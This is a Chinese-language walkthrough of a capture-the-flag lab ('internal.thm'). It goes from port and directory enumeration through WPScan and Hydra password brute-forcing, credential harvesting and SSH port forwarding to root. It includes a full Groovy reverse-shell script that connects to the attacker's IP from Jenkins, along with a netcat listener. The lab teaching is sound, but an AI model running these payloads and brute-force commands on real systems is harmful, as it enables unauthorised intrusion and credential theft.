客户请求工程师对所提供的虚拟环境进行外部、Web 应用程序和内部评估。客户要求提供有关评估的最少信息,希望从恶意行为者的角度进行参与(黑盒渗透测试)。客户要求您确保两个标志(未提供位置)作为利用证据:
此外,客户提供了以下补充说明(请自行尝试):
确保修改主机文件以反映主机名internal.thm
本次活动允许使用任何工具或技术
找到并记录所有发现的漏洞。
将发现的标志提交到仪表板(dashboard)。
只有分配给你的机器的 IP 地址在渗透测试的资产范围内。
查找并报告所有漏洞(获得root权限的方式不止一个)
修改主机文件以反映主机名internal.thm 1 2 3 vim /etc/hosts #10.10.105.198 internal.thm
编辑主机文件的原因 1:你可能已经知道,如果你向任何主机名发出任何类型的请求,对应域名将被转换为 IP 地址,在 TCP/IP 中,只传输 IP 地址而不传输主机名。 在 HTTP(S) 等服务中,你可以在“Host”HTTP 标头中传输主机名,如果你通过带有 IP 地址的 URL 来访问网站,Host 标头将包含 IP 地址,如果你访问其中包含主机名的 URL,主机标头将包含该主机名,它取决于 Web 服务器如何处理基于该标头的请求。 在 TLS 握手中,你还可以在“server_name”扩展名中发送主机名。 因此,如果底层后端服务仅响应主机名,则最简单的从本地发送主机名的解决方案是修改你的主机文件,然后你使用的软件(例如web浏览器)将完成剩下的解析工作。
编辑主机文件的原因2:一个IP地址可以通过虚拟主机(vhost)技术在同一个web服务器上托管多个网站,如果目标服务器有多个网站,那么我们就很难弄清楚哪个是哪个。 所以通过在主机文件中指向具体的DNS,实际上是在表明你的应用程序仅针对特定域。
编辑主机文件的原因3:如果目标有子域怎么办? 我们如何在没有指定主域的情况下枚举它们? 在枚举可能存在的域时,你必须预料到目标可能存在子域,因此你需要知道主域本身,然后就可以通过已知的 IP 地址枚举子域。
nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(root㉿kali)-[~] └─# nmap -p- -sC -sV -T4 10.10.113.252 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-29 23:40 EST Nmap scan report for internal.thm (10.10.113.252) Host is up (0.19s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA) | 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA) |_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 195.49 seconds
gobuster 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ┌──(root㉿kali)-[~] └─# gobuster dir -u http://internal.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,301' --status-codes-blacklist '' --no-error -t 50 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://internal.thm/ [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,301 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /blog (Status: 301) [Size: 311] [--> http://internal.thm/blog/] /wordpress (Status: 301) [Size: 316] [--> http://internal.thm/wordpress/] /javascript (Status: 301) [Size: 317] [--> http://internal.thm/javascript/] /phpmyadmin (Status: 301) [Size: 317] [--> http://internal.thm/phpmyadmin/]
可以看到有个http://internal.thm/blog
wpscan 知道我们有一个 Wordpress 网站,我们可以使用 WPScan 工具进一步枚举
1 2 wpscan --url http://internal.thm/blog -e vp,u #enumerate vp(vulnerable pulgins) and users
通过扫描易受攻击的插件和用户名,我们发现了一个用户——admin。然后,我们可以使用 WPScan 暴力破解功能来查找可用于登录的凭据。
1 2 3 4 5 6 7 8 9 10 [i] User(s) Identified: [+] admin | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Wp Json Api (Aggressive Detection) | - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)
1 wpscan --url http://internal.thm/blog/ --usernames admin --passwords /usr/share/wordlists/rockyou.txt --max-threads 50
1 2 [!] Valid Combinations Found: | Username: admin, Password: my2boys
登录进去
点击404模板
1 2 3 4 5 6 7 ┌──(root㉿kali)-[~] └─# nc -lvnp 1234 listening on [any] 1234 .... #-l(侦听模式,用于入站连接) #-v(详细) #-n(抑制域名/端口解析)直接使用IP地址,而不经过域名服务器 #-p 为远程连接指定本地端口
接下来我们需要加载刚才那个已经修改好的 404.php 文件,为此,我们首先需要找到该文件的位置。
WordPress站点的大多数主题位于 /wp-content/ 目录下,主题相关内容则位于 /wp-content/themes/ 目录下;根据我们之前所修改文件对应的主题名称,可知404.php文件位置为:http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php (由之前的WPScan扫描结果也可知过时的主题相关页面url)
1 2 3 which python #验证目标机有无Python环境 python -c "import pty; pty.spawn('/bin/bash')" #利用Python环境将当前shell切换为一个更稳定的shell
我们继续使用刚才的初始shell界面进行探索,尝试进一步列举文件和目录信息,最终在/opt目录下发现了一个文件wp-save.txt–内容包含了用户名aubreanna及其登录凭据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 www-data@internal:/$ cd /opt cd /opt www-data@internal:/opt$ ls ls containerd wp-save.txt www-data@internal:/opt$ cat wp-save.txt cat wp-save.txt Bill, Aubreanna needed these credentials for something later. Let her know you have them and where they are. aubreanna:bubb13guM!@#123
登录凭据—— aubreanna:bubb13guM!@#123
利用获取到的登录凭据切换用户账户为aubreanna,并尝试检索user.txt。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 www-data@internal:/opt$ su aubreanna su aubreanna Password: bubb13guM!@#123 aubreanna@internal:~$ ls -la ls -la total 56 drwx------ 7 aubreanna aubreanna 4096 Aug 3 2020 . drwxr-xr-x 3 root root 4096 Aug 3 2020 .. -rwx------ 1 aubreanna aubreanna 7 Aug 3 2020 .bash_history -rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout -rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc drwx------ 2 aubreanna aubreanna 4096 Aug 3 2020 .cache drwx------ 3 aubreanna aubreanna 4096 Aug 3 2020 .gnupg drwx------ 3 aubreanna aubreanna 4096 Aug 3 2020 .local -rwx------ 1 root root 223 Aug 3 2020 .mysql_history -rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile drwx------ 2 aubreanna aubreanna 4096 Aug 3 2020 .ssh -rwx------ 1 aubreanna aubreanna 0 Aug 3 2020 .sudo_as_admin_successful -rwx------ 1 aubreanna aubreanna 55 Aug 3 2020 jenkins.txt drwx------ 3 aubreanna aubreanna 4096 Aug 3 2020 snap -rwx------ 1 aubreanna aubreanna 21 Aug 3 2020 user.txt aubreanna@internal:~$ cat user.txt cat user.txt THM{int3rna1_fl4g_1}
提升到root权限 在上一小节中我们成功检索到了user.txt文件,在user.txt文件的同级目录下我们还可以看到一个特殊文件jenkins.txt,这表明目标网站上可能还有jenkins服务,通过查看jenkins.txt内容–我们可以发现目标机的172.17.0.2:8080
上开启了jenkins服务(该服务在目标机的docker环境下)
1 2 aubreanna@internal:~$ cat jenkins.txt Internal Jenkins service is running on 172.17.0.2:8080
由于目标机器的端口8080
只能通过目标机的本地进行访问,所以我们需要设置SSH端口转发,从而将目标机器8080
端口上的流量重定向到我们本地攻击机上的地址和端口localhost:8080
,在攻击机上的终端界面构造如下命令(以下命令在输入密码验证成功后即可实现端口转发):
1 2 3 4 5 6 7 8 9 10 11 12 13 ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm #根据前述结果,登录密码为:bubb13guM!@#123 #ssh端口转发(本地网卡地址0.0.0.0可省略):HostB$ ssh -L 0.0.0.0:PortB:HostC:PortC user@HostC #参数说明 #-C:压缩数据 #-f :后台认证用户/密码,通常和-N连用,不用登录到远程主机。 #-N :不执行脚本或命令,通常与-f连用。 #-g :在-L/-R/-D参数中,允许远程主机连接到建立转发的端口,如果不加这个参数,只允许本地主机建立连接。 #-L : 本地隧道,本地端口:目标IP:目标端口 #-D : 动态端口转发 #-R : 远程隧道 #-T :不分配 TTY 只做代理用 #-q :安静模式,不输出 错误/警告 信息
完成端口转发之后:在本地机的浏览器中访问localhost:8080,可以看到一个jenkins后台登录页面。
我们接下来对该jenkins后台登录页面进行暴力破解,在此我们使用hydra工具,我们还需要获取关于登录框的请求表单数据来为hydra相关命令构造参数。
1 2 3 hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8080 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password" #"/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:F=Invalid username or password"
1 login: admin password: spongebob
可以上网搜Groovy reverse script
1 2 3 4 String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
然后cmd.exe改为/bin/bash
1 2 3 4 String host="10.11.63.201"; int port=8044; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
1 2 3 #find / -name *.txt cd /opt cat note.txt
使用ssh访问root用户并检索root.txt文件内容。